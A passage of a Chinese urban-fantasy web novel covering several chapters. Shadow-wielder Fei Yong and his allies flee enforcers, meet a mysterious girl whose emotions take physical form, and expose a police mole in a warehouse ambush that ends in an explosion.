费勇的心沉了下去。密道里的空气开始变得稀薄,执法者的脚步声在门外隐约传来,像催命的鼓点。他下意识摸向怀里的旧文件,指尖刚触到纸张,就感觉一阵温热——那文件竟然自己发出了微光,淡金色的光芒透过布料渗出来,在地上投下晃动的光斑。
“这是什么?”风行者凑过来看,眼睛瞪得溜圆,“老鬼给你的?他没说这玩意儿会发光啊!”
费勇把文件掏出来,只见泛黄的纸页上,那些原本模糊的符号正在发光,像被注入了生命。更神奇的是,随着他的动作,那些光芒顺着纸张边缘流出来,像有生命的小溪,缓缓爬到墙壁上的《星空图》上。
“卧槽……”风行者的棒棒糖“啪嗒”掉在地上,“对上了!你看那几颗星!”
费勇顺着他指的方向看去,只见文件投射出的光芒,正好落在《星空图》中几颗最亮的星辰上。原本孤立的星辰被金色的光线连接起来,形成一个完整的图案——那是个蜷缩的人形轮廓,胸口的位置正好是猎户座的腰带三星,像三颗跳动的心脏。
“这是……”费勇的呼吸突然急促起来,他感觉到体内的暗影能量正在共鸣,影子不受控制地爬到墙上,沿着那些金色的光线游走,像是在描摹什么。
“老鬼说,‘暗影本源’是十年前‘觉醒潮’的源头之一。”风行者的声音难得正经起来,他蹲下身捡起那根掉在地上的棒棒糖,却没再放进嘴里,“当年参与研究的人,除了苏清月的家族,还有……你爸妈。”
费勇猛地抬头,影子在墙上剧烈地晃动,金色的光线被搅得支离破碎。“你说什么?”他的声音发颤,指尖捏着文件的边缘,几乎要将那脆弱的纸张捏碎,“我爸妈不是失踪了吗?他们和‘觉醒潮’有什么关系?”
风行者撇了撇嘴,从口袋里摸出个小小的金属球,扔在地上。金属球展开成个微型投影仪,射出老鬼的影像——老头还是那副不修边幅的样子,正坐在图书馆的旧沙发上喝茶,断了腿的老花镜滑到鼻尖。
“小勇啊,当你看到这影像时,想必已经见到风小子了。”老鬼呷了口茶,茶叶沫子粘在胡子上,“有些事瞒着你,是怕你卷进来。你爸妈当年是‘本源计划’的核心研究员,研究的就是如何稳定‘暗影本源’,避免它失控引发灾难。可惜……”
影像突然闪了一下,老鬼的声音变得模糊:“裁决会的判官当年也是研究员之一,他想把‘暗影本源’据为己有,用来控制所有异能者。你爸妈为了保护研究数据,假意叛逃,实际上是把数据藏在了……”
影像到这里突然中断,变成一片雪花。风行者踹了一脚投影仪,骂骂咧咧道:“老鬼的破设备!每次都关键时刻掉链子!”
费勇却没听他说话,他的注意力全在墙上。刚才被影子搅乱的金色光线,此刻正重新凝聚,而且凝聚的位置,正好是他影子游走的轨迹。随着影子的移动,那些光线渐渐组成了一行字,刻在《星空图》的角落:
“青禾堂的藤蔓下,藏着第一把钥匙。”
“青禾堂?”费勇愣住了,他想起秦伯的拐杖,想起苏清月白大褂上的凝露藤香,想起那枚刻着“月”字的玉佩——原来那些看似无关的细节,早已被无形的线串联起来。
石门突然传来“咔哒”一声轻响,像是有什么东西在外面撬动。风行者瞬间绷紧身体,银白色的影子在地上展开,像只蓄势待发的猎豹:“看来他们找到解锁的办法了。”
费勇将文件紧紧揣进怀里,影子虽然依旧虚弱,却挺得笔直,像柄即将出鞘的剑。他看着墙上的《星空图》,看着那些跳动的金色光线,突然明白了老鬼的用意——所谓的秘密,从来都不在图纸上,而在那些愿意守护秘密的人心里。
“准备好没?”风行者活动了下手腕,嘴角勾起桀骜的笑,“虽然打不过审判长,但收拾几个执法者还是绰绰有余的。”
费勇点点头,摸了胸口的玉佩,冰凉的玉面让他冷静下来。他不知道接下来会面对什么,不知道父母的失踪背后还有多少秘密,甚至不知道自己能不能掌控那所谓的“暗影本源”。但此刻,看着风行者跃跃欲试的影子,感受着怀里文件传来的温度,他突然觉得,被卷入这一切,或许并非偶然。
石门的缝隙里透进越来越亮的光,执法者的呼喝声清晰可闻。费勇深吸一口气,影子在他脚下轻轻晃动,像在说“准备好了”。
第24章:破晓的撤离
石门炸开的碎片还没落地,费勇就被一股巨力拽着往前冲。风行者的超音速移动带着撕裂空气的锐鸣,他甚至能看到执法者们脸上凝固的惊愕——那些穿着黑色制服的家伙,手里的“异能抑制器”还在滋滋冒着电光,却连他们的衣角都碰不到。
“抓紧!”风行者的声音混在音爆里,听起来像被揉皱的铝箔纸。费勇死死攥着怀里的旧文件,另一只手被风行者拽得生疼,指节泛白。他的影子在地面上被拉成细长的墨色带子,像条被拖着跑的海带,却异常顽强地缠着风行者的影子,像系了根看不见的橡皮筋。
“砰!”第一个执法者被撞飞出去,撞在图书馆的阅览桌上,桌子腿“咔嚓”断成两截。风行者的滑板在人群中灵活地穿梭,银白色的影子边缘泛着淡蓝色的气流,所过之处,执法者像被无形的大锤砸中,一个个东倒西歪。
“异能抑制器对速度型没用!”风行者嚣张地大笑,滑板突然腾空,在半空中划出个漂亮的圆弧,靴底踹在一名执法者的下巴上,“尤其是我这种超音速的!”
费勇趁机打量四周,发现执法者的数量比想象中多,至少有二十个,正从图书馆的各个入口涌进来,手里的抑制器形成一张电网,慢慢往中间收缩。他的影子突然不安地躁动起来,顺着最近一名执法者的脚踝爬上去——那家伙的影子上,沾着点淡蓝色的电光,是林悦的雷霆之力!
“林悦也在这里?”费勇心头一紧,还没来得及细想,就感觉影子猛地向后一扯。他下意识松开风行者的手,身体突然变得轻飘飘的,像被卷入了一股无形的漩涡。等他回过神,已经落在三米外的书架顶上,而那名执法者正捂着脚踝哀嚎,他的影子被费勇的影子死死缠住,动弹不得。
“哟,学会借力打力了?”风行者的声音从下方传来,他正用滑板顶着一名执法者的脸,“这招叫‘被动影遁’,老鬼没教过你?”
费勇这才反应过来,刚才是影子借着那名执法者的影子,完成了一次短距传送。他低头看向自己的影子,虽然依旧虚弱,边缘却比刚才清晰了些,像是吸收了执法者影子里的微弱能量。
“别发呆!”风行者一脚踹飞身前的执法者,滑板在地面擦出一串火星,“左后方有三个,抑制器快对准你了!”
费勇立刻调动影子,顺着书架边缘滑下去,像只敏捷的猫。落地的瞬间,三道淡紫色的抑制光束擦着他的头皮飞过,打在书架上,厚重的木板瞬间被腐蚀出三个黑洞。他的影子猛地拉长,缠住其中一名执法者的小腿,借着对方踉跄的力道,一个旋身躲到书架后面,胸口还在因为刚才的惊险而剧烈起伏。
就在这时,图书馆的窗户突然“哗啦”一声碎裂,一道黑色身影裹挟着蓝色的电光跃了出来,双脚落地时,电流在地面炸开,震得周围的执法者纷纷后退。
“林悦!”费勇差点喊出声。
林悦显然也看到了他,脸上闪过一丝惊讶,随即被愤怒取代。她的警服袖子被撕开一道口子,露出的胳膊上有块青紫的瘀伤,嘴角还沾着血迹,却丝毫没影响她的动作——只见她抬手一挥,两道电流鞭子抽出去,精准地缠住两名执法者的抑制器,猛地一拽,那些金属器械瞬间扭曲成废铁。
“费勇你个混蛋!”她一边躲避攻击,一边吼道,“不是让你去B区找老鬼吗?怎么还在这里!”
“说来话长!”费勇的影子突然跃起,挡在林悦身前,替她挡住了一道抑制光束。影子被光束击中的地方瞬间变得透明,疼得费勇倒抽一口冷气,“你怎么逃出来的?”
“少废话!”林悦凝聚电流,在两人身侧织成半透明的屏障,“老鬼拖住了审判长,我趁机炸了检测室的能量核心,快走!”
风行者突然从人群里冲出来,滑板在地上划出个漂亮的漂移,停在两人面前:“再不走就真走不了了!裁决会的支援快到了!”他指了指图书馆的后门,“我已经打通了通道,去那里汇合!”
林悦还想说什么,眼角的余光瞥见一名执法者正举着抑制器对准费勇的后背,她想也没想就扑过去,将费勇推开。淡紫色的光束擦着她的肩膀飞过,击中后面的书架, books哗啦啦掉了一地。
“你!”费勇又惊又怒,影子瞬间暴涨,将那名执法者捆成了粽子。
“别磨蹭!”林悦捂着肩膀站起来,电流在她周身盘旋,“我欠你的,刚才还清了!”
风行者嗤笑一声:“都什么时候了还计较这个?走!”他率先冲向后门,银白色的影子在地面上拉出长长的光带,像道引路的闪电。
费勇看了眼林悦流血的肩膀,突然抓住她的手腕。林悦猛地一挣,却没挣脱。“你的影子……”费勇的声音有些发紧,“借我用用。”
没等林悦反应过来,费勇的影子已经缠上了她的影子,那些微弱的雷霆之力顺着影子流过来,像股温暖的电流,瞬间缓解了反噬带来的虚弱。林悦愣住了,看着自己的影子和费勇的影子交织在一起,蓝色的电光和黑色的暗影相互缠绕,像条奇特的双色绳索。
“这是……”
“影子同步。”费勇拉着她往前跑,速度竟然比刚才快了不少,“风行者说的,能暂时共享能量。”
林悦的脸颊莫名有些发烫,她甩开费勇的手,却没真的拉开距离,只是保持着半步的距离跟在他身边,电流有意无意地在两人之间织成道无形的屏障:“下不为例。”
风行者已经打开了后门,门外停着辆看起来平平无奇的黑色摩托车,车身上刻着个小小的“晓”字。“上车!”他拍了拍后座,自己跨上驾驶座,“这玩意儿是老鬼改装的,能屏蔽异能追踪,速度虽比不上我的滑板,但比跑着强。”
费勇先把林悦推上后座,自己刚想坐上去,却看到林悦的影子里,有缕银色的线正在悄悄蔓延——是“锁魂线”!他想也没想就扑过去,用自己的影子将那缕银线缠住。
“你干什么?”林悦被他压得差点从车上掉下去。
“锁魂线!”费勇咬着牙,感觉那缕银线像烧红的铁丝,烫得影子滋滋作响,“裁决会在你身上留了标记!”
风行者回头一看,脸色骤变:“该死!是审判长的手段!快弄掉它!”
林悦也急了,电流疯狂地涌向那缕银线,却被它吸收了个干干净净。“没用的!”她又急又怒,“这玩意儿能吸收能量!”
费勇的影子突然剧烈地颤抖起来,那些从林悦那里借来的雷霆之力,正和影子里的暗影能量发生着奇妙的反应。他感觉到那缕银线在发烫,烫得几乎要烧穿影子,却也在这极致的高温下,慢慢变得透明。
“快!”风行者发动了摩托车,引擎发出低沉的轰鸣,“再不走就来不及了!”
费勇死死盯着那缕银线,看着它在影子里挣扎、淡化,最终彻底消失。他长舒一口气,浑身脱力地跨上摩托车,后座的空间很小,他的后背不可避免地贴上了林悦的胸口,能清晰地感觉到她急促的心跳。
“坐稳了!”风行者猛地拧动油门,摩托车像离弦的箭一样冲了出去,轮胎摩擦地面的声音尖锐刺耳。
费勇下意识地抓住车座,却听到身后的林悦低呼一声,他回头一看,发现林悦的手正抓着他的衣角,指节因为用力而发白。蓝色的电流在两人之间轻轻跳跃,像串调皮的火花。
摩托车穿过狭窄的后巷,将图书馆的喧嚣远远抛在身后。费勇看着风行者银白色的影子在前方引路,感觉自己的影子正慢慢恢复力量,那些和雷霆之力融合的部分,闪烁着奇特的蓝黑色光芒。
他不知道这辆摩托车要开往哪里,不知道老鬼能不能安全脱身,甚至不知道接下来要面对多少裁决会的追兵。但此刻,感受着身后林悦的体温,看着前方风行者张扬的背影,费勇突然觉得,这场逃亡,似乎也没那么糟糕。
第25章:据点里的陌生人
废弃工厂的铁门在身后发出沉重的闭合声,费勇扶着林悦往里走,鼻尖萦绕着铁锈与机油混合的气味,还有种若有似无的草木清香,像有人在角落里藏了盆薄荷。车间原本的流水线被拆得七零八落,腾出的空地上搭着简易的金属架,上面挂满了各式各样的电子元件,蓝绿色的指示灯眨得像夏夜的萤火虫。
“啧啧,老鬼这据点整得挺像那么回事。”风行者把滑板往墙角一扔,银白色的影子在地面上晃了晃,像条刚卸力的鱼,“比上次在废弃地铁站强多了,至少不会掉墙皮。”
林悦的呼吸有些急促,额角渗出细密的汗珠,顺着下颌线往下滑。费勇低头时正好撞见那滴汗珠砸在她警服的第二颗纽扣上,晕开一小片深色的水渍。他下意识想替她擦汗,手伸到一半又缩了回来,改成扶着她的胳膊往角落挪:“先找地方坐下。”
“不用你假好心。”林悦甩开他的手,自己踉跄着走到长椅边坐下,却在碰到椅面的瞬间倒抽一口冷气——肩膀的伤口被牵扯到了。她皱着眉想扯开被血黏住的衣袖,指尖刚碰到布料就被一股温热的力量按住。
“别动。”一个温和的女声从旁边传来。费勇抬头,看见个穿浅灰色工装的女人站在面前,她头发在脑后挽成利落的发髻,露出光洁的额头,左手手腕上缠着圈常春藤形状的银饰,正微微发光。女人手里拿着个锡制的小盒子,打开时飘出股清苦的草木香,“我是青禾堂派驻在这里的医师,苏清月让我带了些药膏。”
“苏清月?”费勇愣了下,想起医院里那个总带着淡淡药香的实习医生,“她怎么会……”
“青禾堂和破晓一直有合作。”女人用沾了药膏的棉签轻轻涂抹林悦的伤口,动作轻柔得像在抚摸花瓣,“苏医师说你朋友可能需要这个——这药膏里加了凝露藤的汁液,对异能者的能量灼伤特别有效。”
林悦的身体僵了下,却没再挣扎,只是抿着唇看向别处,耳根却悄悄泛起红晕。费勇注意到她紧握的拳头慢慢松开了,原本缠绕在指尖的微弱电流也平息下去,像被那药膏的清凉安抚了。
“好了。”女人替林悦包扎好伤口,收拾起盒子,临走前对费勇眨了眨眼,“老鬼说让你小心点,‘暗影本源’的波动越来越明显了,不止裁决会在找。”
费勇还想问什么,风行者突然从另一边窜过来,嘴里嚼着块口香糖,含糊不清地说:“别聊了,跟我来,老鬼留了东西给你。”他转身要走,又想起什么似的回头,指着林悦对那女人说,“看好她,别让她乱摸据点里的东西,特调科的人都有收集情报的毛病。”
“你说谁有毛病?”林悦猛地站起来,刚包扎好的伤口又裂开了点,疼得她龇牙咧嘴。
“谁接话就是说谁呗。”风行者做了个鬼脸,拽着费勇就往车间深处跑,“快走快走,再晚点那丫头该炸毛了。”
费勇被他拽得一个踉跄,转身时没留意身后,肩膀重重撞在个柔软的东西上。伴随着一声细弱的惊呼,有什么冰凉的东西掉在地上,发出清脆的响声。
“对不起对不起!”费勇慌忙转身,看见个瘦小的身影正蹲在地上,手忙脚乱地捡着散落的玻璃珠——是那种最普通的透明玻璃珠,在车间的灯光下折射出细碎的光。
等那身影抬起头,费勇的呼吸突然顿住了。
是夏艳玲。
还是初见时那身洗得发白的碎花裙,头发乱糟糟地用根红绳绑着,露出的额角有块浅褐色的胎记,像片小小的枫叶。她怀里紧紧抱着那个破旧的布娃娃,娃娃的一条胳膊已经松了线,耷拉着晃来晃去。
“是你……”费勇的声音有些干涩,他想起上次在巷子里,这丫头也是这样抱着布娃娃,眼神怯生生的,像只受惊的幼猫。
夏艳玲没说话,只是飞快地瞥了他一眼,又低下头继续捡玻璃珠。她的手指很细,指节有些发红,捡珠子时指尖微微颤抖,像怕碰碎了什么珍宝。
费勇蹲下身想帮忙,手指刚碰到一颗滚到脚边的玻璃珠,就被夏艳玲猛地按住了手。她的掌心很凉,带着股淡淡的灰尘味。
“别碰。”她的声音细若蚊蚋,却异常清晰,“它们会哭。”
费勇愣住了。玻璃珠怎么会哭?他刚想追问,眼角的余光却瞥见夏艳玲怀里的布娃娃——那娃娃的眼睛原本是用黑线绣的,此刻竟泛起淡淡的白光,像两簇微弱的烛火。
更奇怪的是,布娃娃的光芒落在他的影子上时,原本漆黑的影子里竟浮现出丝丝缕缕的黑线,像游弋的小蛇,在地面上慢慢蠕动。
“这是……”费勇的心跳漏了一拍,他从未见过自己的影子变成这样。那些黑线里似乎包裹着什么,在光芒的映照下微微颤抖,像在挣扎,又像在……哭泣?
夏艳玲突然伸出手,指尖轻轻触碰他的影子。她的指尖刚碰到那些黑线,费勇就感觉心脏像是被什么东西攥住了,一阵尖锐的刺痛顺着脊椎窜上来,眼前闪过无数破碎的画面——燃烧的实验室,父母模糊的背影,还有道刺目的白光……
“你的影子……在哭。”夏艳玲的声音突然变得清晰起来,她抬起头,眼睛里映着布娃娃的白光,“它在害怕。”
费勇猛地抽回手,影子里的黑线瞬间消失了,仿佛刚才的一切只是幻觉。他大口喘着气,额头上布满了冷汗,看向夏艳玲的眼神充满了震惊和疑惑:“你到底是谁?你怎么能……”
夏艳玲低下头,重新抱紧布娃娃,布娃娃的白光渐渐黯淡下去。“我不知道。”她轻轻摇了摇头,碎发遮住了眼睛,“爷爷说,我能听见它们说话。”
“爷爷?”
“他走了。”夏艳玲的声音低了下去,手指无意识地摩挲着布娃娃的脸,“和爸爸妈妈一样,被白光带走了。”
费勇的心猛地一沉。白光?难道她也经历过十年前的“觉醒潮”?他还想再问,车间另一边突然传来林悦的怒喝声,夹杂着风行者的嗤笑,听起来像是吵了起来。
“我先过去看看。”费勇站起身,犹豫了一下,还是把手里刚捡起的玻璃珠轻轻放在夏艳玲面前,“这些珠子……你保管好。”
夏艳玲抬起头,看着他的眼睛眨了眨,突然从口袋里摸出颗最大的玻璃珠,塞到他手里。珠子在他掌心微微发烫,像有生命似的。
“给你。”她说,“它能帮你找到回家的路。”
费勇握着那颗玻璃珠,看着夏艳玲重新缩回角落,抱着布娃娃蜷缩成一团,像株在墙角悄悄生长的植物。他突然觉得,这丫头身上藏着的秘密,或许比他想象的还要多。
车间那头的争吵声越来越大,费勇深吸一口气,转身往那边走去。掌心的玻璃珠还在发烫,影子在他身后轻轻晃动,像在无声地诉说着什么。
他不知道夏艳玲的布娃娃为什么会发光,不知道自己的影子里藏着什么秘密,更不知道那颗玻璃珠所谓的“回家的路”指向何方。但他隐隐感觉到,从遇见夏艳玲的那一刻起,有什么东西已经悄然改变了。
就像投入湖面的石子,即使沉入水底,也会留下圈圈涟漪。
第26章:特调科的内鬼
费勇刚走到车间中央,就被一股强烈的电流气息扫过——林悦站在金属架旁,双手紧握成拳,指节泛白,指间噼里啪啦窜着细小的电火花,显然是情绪激动到没控制住异能。她脚边散落着几张文件纸,其中一张飘到费勇脚边,上面是王科长的证件照,嘴角带着惯常的温和笑容,背景是特调科的徽章。
“你说王科长是内鬼?”林悦的声音像裹了层冰,却又带着不易察觉的颤抖,“他看着我长大的!我爸牺牲那天,是他抱着我去认的遗体,告诉我‘要像你爸一样挺直腰杆’——你现在拿几张破纸就想污蔑他?”
风行者靠在旁边的铁柜上,嚼着口香糖,闻言挑眉:“破纸?那你倒是看看监控录像啊,就在文件袋里。”他用脚尖踢了踢地上的档案袋,“十年前你爸牺牲的案发现场,王科长确实在附近出现过,比报案时间早了整整半小时。”
林悦的呼吸猛地一滞,像是被这句话钉在了原地。她缓缓弯腰捡起档案袋,手指碰到塑料袋时,电流突然失控,“滋啦”一声,袋口被烧出个小洞。她像是没看见,抖着手抽出里面的U盘,往旁边的监控设备上插——动作快得有些慌乱,连U盘都插反了三次。
费勇站在一旁,看着她紧绷的侧脸。她的下颌线绷得笔直,平时总是带着点桀骜的眉眼此刻垂着,睫毛在眼睑下投出片阴影,只有紧握的拳头泄露了情绪——指关节已经泛白,连带着小臂上的青筋都隐隐浮现。
“喏,调到08分15秒。”风行者凑过去快进,屏幕上的画面瞬间清晰起来:十年前的案发现场,警戒线还没拉起来,年轻的王科长穿着便服,站在街角的树荫下,手里拿着个黑色的布袋,正往你爸倒下的地方张望,神色慌张,像是在确认什么。
林悦的身体晃了晃,费勇下意识伸手想去扶,却被她猛地避开,电流“啪”地打在他手背上,不算疼,却带着股决绝的意味。“这说明什么?”她的声音陡然拔高,“他路过不行吗?他那天本来就住在那附近!”
“路过需要绕到后巷?”风行者嗤笑一声,调出另一段录像,“而且你看这布袋——后来特调科的证物记录里,有个装着‘不明粉末’的黑色布袋,和他手里这个一模一样。”他顿了顿,故意放慢语速,“那粉末后来被鉴定出,是裁决会用来抑制异能的抑制剂。”
“不可能!”林悦猛地转身,电流在她周身炸开小火花,“王伯伯不是那种人!他每年都去给我爸扫墓,还给我带最爱吃的桂花糕——”说到最后几个字,她的声音突然卡壳,像是被什么东西堵住了喉咙,眼圈肉眼可见地红了。
费勇看着她泛红的眼角,突然想起刚才在角落捡到的颗玻璃珠——是夏艳玲塞给他的那颗,此刻还揣在口袋里,微微发烫。他突然明白林悦的挣扎——有些信任像刻在骨子里的习惯,哪怕证据摆在面前,也宁愿相信是自己看错了。
“要不就算了吧。”费勇忍不住开口,“可能确实是误会……”
“不行!”林悦和风行者异口同声,说完又互相瞪了一眼。林悦深吸一口气,擦掉眼角的湿意,重新看向屏幕:“再放一遍,慢动作。”
监控画面一帧帧播放,王科长的动作被放大——他往巷子里瞥的那一眼,眼神确实不对劲,带着点警惕和急切;手里的布袋被他悄悄往身后藏了藏,动作很隐蔽,却被墙角的监控拍得一清二楚。
车间里静得能听见电流声,林悦盯着屏幕,脸上的血色一点点褪去,最后只剩下苍白。她慢慢松开紧握的拳头,指尖的电流也随之平息,像是耗尽了所有力气。
“所以……”她的声音很轻,像怕惊扰了什么,“我爸的死,不是意外?”
风行者难得没说刻薄话,只是耸耸肩:“现在还不能确定,但王科长肯定有问题。”他从口袋里掏出个小小的录音笔,“昨天我去特调科附近蹲点,录到他和裁决会的人打电话,说‘那个丫头片子最近查得紧,得想办法稳住’。”
录音笔里传出王科长温和的声音,此刻听来却格外刺耳:“……林悦那孩子心思单纯,还把我当亲人……等拿到暗影本源的消息,就不用再敷衍她了……”
林悦的身体晃了晃,这次费勇扶住了她,她没有再推开。“原来如此……”她喃喃自语,嘴角勾起抹嘲讽的笑,“每年的桂花糕,每次的关心……全是假的。”
费勇能感觉到她在发抖,不是因为冷,而是因为极致的愤怒和失望。他下意识拍了拍她的后背,像在安抚一只炸毛后失了力气的小兽。
“喂,”风行者突然开口,语气缓和了些,“现在不是难过的时候。”他扔给林悦一个新的档案袋,“这里有王科长最近的行踪记录,裁决会的人今晚要和他在城东仓库交易,我们可以去抓现行。”
林悦接过档案袋,指尖划过粗糙的纸页,突然抬头看向风行者,眼神里已经没了刚才的脆弱,只剩下冰冷的决绝:“交易什么?”
“好像是关于‘异能者名单’的。”风行者摸了摸下巴,“裁决会一直在找有潜力的异能者,估计是想拉拢或者……清除。”
林悦深吸一口气,将档案袋紧紧攥在手里,指腹因为用力而泛白。“好,”她的声音恢复了平时的冷硬,甚至带着点狠劲,“我跟你们去。”她看向费勇,又扫过风行者,“但要是让我发现你们骗我……”
“骗你我就把滑板吃了。”风行者举手发誓,表情难得正经。
费勇看着林悦重新挺直的背脊,突然觉得刚才那个眼眶泛红的瞬间,像场易碎的幻觉。他口袋里的玻璃珠还在发烫,像是在提醒他——有些真相虽然刺眼,却总得有人去揭开。
林悦突然转身往门口走,步伐快而稳。“还愣着干什么?”她回头瞪了他们一眼,眼角的红痕还没褪,语气却已经像出鞘的刀,“去晚了让那老狐狸跑了,我饶不了你们。”
风行者吹了声口哨,冲费勇挤了挤眼:“这才对嘛,有点当年她爸的样子。”
费勇笑了笑,跟了上去。车间的灯光在他们身后拉出长长的影子,林悦的影子走在最前面,带着股不容置疑的冲劲,像在说——不管真相多痛,她都接得住。
第27章:影子的共鸣
城东仓库的铁皮屋顶被月光照得泛着冷光,费勇蹲在通风管道里,鼻尖萦绕着铁锈和灰尘的味道。他往下瞥了眼,林悦正猫在堆成山的纸箱后面,警服外套脱了,露出里面的黑色作战服,腰间别着的***反射出细碎的光。她的呼吸很轻,只有攥紧拳头时,指节发白的细节泄露了紧张——毕竟要亲手抓的,是她喊了十几年“王伯伯”的人。
“来了。”风行者的声音从耳机里传来,带着点电流杂音。他守在仓库后门,银白色的影子透过门缝钻进来,在地面上轻轻晃了晃,像在打暗号。
费勇的影子顺着管道边缘往下爬,像条灵活的墨色蛇。他能“看”到仓库中央站着个穿风衣的男人,背着手,正是王科长。十年过去,他头发白了些,但腰杆挺得笔直,说话时嘴角依旧挂着那副温和的笑,只是此刻在仓库的阴影里,那笑容显得格外刺眼。
“东西带来了?”王科长的声音不大,却清晰地传到费勇耳朵里。
对面的执法者递过个黑色公文包,金属扣碰撞的声音在空旷的仓库里格外响亮:“判官说了,只要拿到这份异能者名单,特调科的内部部署图,我们也可以共享。”
“合作愉快。”王科长接过公文包,手指刚碰到锁扣,仓库四周突然响起“滋滋”的电流声。
“王科长,好久不见啊。”林悦从纸箱后站出来,手里的***对准他,声音冷得像冰,“没想到你不仅会给我买桂花糕,还会给裁决会当间谍。”
王科长脸上的笑容僵住了,随即叹了口气,像是早就料到:“小悦,别冲动。”他慢慢转过身,手里不知何时多了个银色遥控器,“你以为我没准备?”
“咔哒”一声,仓库顶上的金属板突然弹出密密麻麻的黑色装置,表面闪烁着淡紫色的光——是异能抑制器!费勇立刻感觉影子变得沉重,像灌了铅,连抬起都费劲。
林悦的脸色瞬间变了,她试图调动电流,指尖却只冒出几缕微弱的火花,随即熄灭。“怎么会……”她踉跄着后退一步,撞在纸箱上,作战服后背的冷汗洇出深色的痕迹。
“特调科的新装备,专门克制你的雷霆之力。”王科长掂了掂手里的遥控器,笑容里带着残忍,“你父亲当年就是栽在这上面,可惜他到死都不知道,是我建议上级采购的。”
“你说什么?”林悦的声音陡然拔高,眼眶瞬间红了。费勇从没见过她这副样子,像只被戳中痛处的小兽,浑身的刺都竖了起来,却因为抑制器的作用,连反击的力气都没有。
执法者们围了上来,手里的能量枪对准林悦。费勇急得想跳下去,可影子像被钉在管道上,怎么都动不了。抑制器的紫色光芒越来越亮,他感觉体内的暗影能量在快速流失,眼前开始发黑——这玩意儿比图书馆遇到的“锁魂线”还厉害。
就在这时,仓库角落突然传来声细弱的啜泣。
费勇猛地转头,只见夏艳玲缩在堆废弃油桶后面,怀里紧紧抱着布娃娃,肩膀一抽一抽的。她不知什么时候跟来的,破旧的碎花裙沾了不少灰尘,额角的枫叶胎记在紫色光芒下泛着浅红,像快要哭出血来。
“哪来的野丫头?”一名执法者发现了她,举着枪走过去,“碍事。”
费勇的心脏瞬间提到嗓子眼。他操控影子去挡,可抑制器的影响下,影子只能在地面上徒劳地扭动,像条濒死的鱼。
“别碰她!”林悦想冲过去,却被另一名执法者抓住胳膊,反剪在身后。她挣扎着,作战服的袖口被扯破,露出的皮肤上,被抑制器灼伤的红痕清晰可见。
执法者的枪口离夏艳玲越来越近,她的啜泣声越来越大,怀里的布娃娃突然剧烈地发光,白色的光芒穿透布料,在地面上投下晃动的光斑。费勇突然发现,那些光斑落在抑制器上时,紫色的光芒竟然开始闪烁,像接触不良的灯泡!
更奇怪的是,他的影子突然轻了些。他低头一看,只见自己的影子正和夏艳玲的影子缠在一起,布娃娃的白光顺着影子流过来,像股温暖的溪流,冲散了抑制器带来的沉重感。
“这是……”费勇愣住了。
“啊——!”夏艳玲突然尖叫起来,不是因为害怕,而是因为极致的愤怒。她的影子猛地膨胀,像被吹大的墨色气球,仓库里所有人的影子都被带动着剧烈晃动,连抑制器的紫色光芒都跟着忽明忽暗。
“怎么回事?”王科长慌了,按遥控器的手开始发抖,“抑制器怎么失灵了?”
执法者的枪突然“哐当”掉在地上,他惊恐地看着自己的影子——那影子正像活物一样扭曲,顺着他的脚踝往上爬,带来刺骨的寒意。“我的腿……动不了了!”
费勇趁机调动影子,顺着管道滑下去,落地时正好挡在夏艳玲面前。他能清晰地感觉到,夏艳玲的情绪像潮水一样涌过来——愤怒是滚烫的红,恐惧是冰凉的蓝,还有一丝对他的依赖,是温暖的黄。这些情绪顺着影子的连接,流进他的体内,和暗影能量融合在一起,爆发出前所未有的力量。
“影刃!”费勇低喝一声,影子瞬间凝聚成锋利的刀刃,斩断了抓着林悦的执法者手臂。
林悦趁机挣脱,虽然还不能用雷霆之力,但格斗术还在。她一个旋身踢中执法者的下巴,动作干净利落,作战服的衣摆扬起漂亮的弧度,只是落地时踉跄了下,显然抑制器的影响还没完全消失。
“小丫头片子还有两下子。”王科长将公文包往怀里一揣,转身就往仓库深处跑,“给我拦住他们!”
剩下的执法者刚想上前,夏艳玲的影子突然再次膨胀,这次竟凝聚出无数冰锥,像刺猬的尖刺,密密麻麻地指向他们。“别过来……”她的声音带着哭腔,却透着不容置疑的决绝,布娃娃的白光在她头顶形成小小的漩涡。
费勇看着那些冰锥,突然明白过来——这是夏艳玲的恐惧和愤怒具象化了!她的情绪通过影子共鸣,不仅干扰了抑制器,还转化成了实体攻击。
“风行者,后门!”费勇大喊一声,同时操控影子缠住最近的执法者脚踝。
“收到!”耳机里传来风行者的笑,紧接着是金属碰撞的巨响,显然他已经动手了。
林悦捡起地上的能量枪,对准王科长的腿:“哪里跑!”她扣下扳机,能量束擦着王科长的风衣飞过,打在仓库的铁门上,溅起一串火花。
王科长踉跄了下,回头恶狠狠地瞪了林悦一眼,眼神里再没有往日的温和,只剩下怨毒:“你和你爸一样,都是挡路石!”他突然按下遥控器上的红色按钮,“既然抓不到你,那就一起死!”
仓库深处传来“嘀嘀”的倒计时声,是炸弹!
夏艳玲吓得浑身发抖,冰锥瞬间消失,影子缩成小小的一团。费勇立刻将她护在身后,影子凝聚成盾牌:“林悦,走!”
林悦看了眼还在逃跑的王科长,又看了眼倒计时的红光,咬了咬牙,转身跟着费勇往后门跑。风行者已经解决了后门的守卫,正踩着滑板等在那里,银白色的影子在地面上急得转圈,像条不耐烦的狗。
“再晚一秒就成烤猪了!”风行者拽着他们往外冲,刚踏出仓库,身后就传来震耳欲聋的爆炸声,气浪掀飞了费勇的刘海。
夏艳玲吓得钻进费勇怀里,布娃娃的白光贴着他的影子,慢慢平息下去。费勇能感觉到她的心跳得飞快,像揣了只小兔子,还有那份混杂着后怕和依赖的情绪,顺着影子慢慢流淌过来,温暖而清晰。
“王科长跑了。”林悦喘着气,看着仓库的火光,眼神里有不甘,“名单也……”
“跑得了和尚跑不了庙。”风行者踢了踢滑板,“老鬼已经查到他的秘密据点,明天再去抄家。”他看了眼还缩在费勇怀里的夏艳玲,挑眉,“这丫头倒是个意外惊喜,情绪具象化加影子共鸣,简直是抑制器的克星。”
费勇低头,发现夏艳玲已经睡着了,长长的睫毛上还挂着泪珠,布娃娃被她紧紧抱在怀里,影子和他的影子交缠在一起,像两朵依偎的墨色花。他突然觉得,这丫头或许不只是个需要保护的孩子,她身上藏着的力量,可能比所有人想象的都要强大。
远处传来警笛声,大概是爆炸引来了附近的巡逻队。风行者吹了声口哨:“撤!”
费勇抱着夏艳玲跟上,林悦走在最后,回头看了眼燃烧的仓库,眼神里有迷茫,也有决绝。费勇知道,从今晚开始,她的世界再也回不去了,但或许,这也是新的开始。
第28章:超音速清扫
